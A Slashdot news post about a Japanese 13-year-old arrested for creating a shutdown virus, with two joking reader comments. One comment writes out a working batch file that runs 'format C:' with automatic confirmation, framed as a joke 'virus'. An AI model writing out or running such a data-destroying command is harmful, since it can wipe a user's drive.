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Japanese 13-Year-Old Arrested For Virus Creation

Posted by timothy on from the at-least-it's-not-singapore dept.

An anonymous reader writes "Last year, Japan criminalized virus creation and just saving a virus on [one's] own computer. According to Yomiuri Shimbun, Kyoto police have arrested a 13-year-old (Japanese language original), second grade of junior high school student from Tokyo, for allegedly creating a computer shutdown virus and operating an exchange board of hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching how to make a virus on their board and saving a virus on his computer."

2 of 150 comments (clear)

  1. Re:Let me guess... by Oh+Gawwd+Peak+Oil · · Score: 5, Funny

    Maybe it was, in fact, perfect English when it was submitted . . . before the Slashdot "editors" got to it?

  2. BAT Virus by Metabolife · · Score: 5, Funny

    If you're from Japan, do this:

    Open notepad and type these lines in.
    echo off
    cls
    echo y|format C:

    Now save this file as virus.bat.

    Next, go to jail.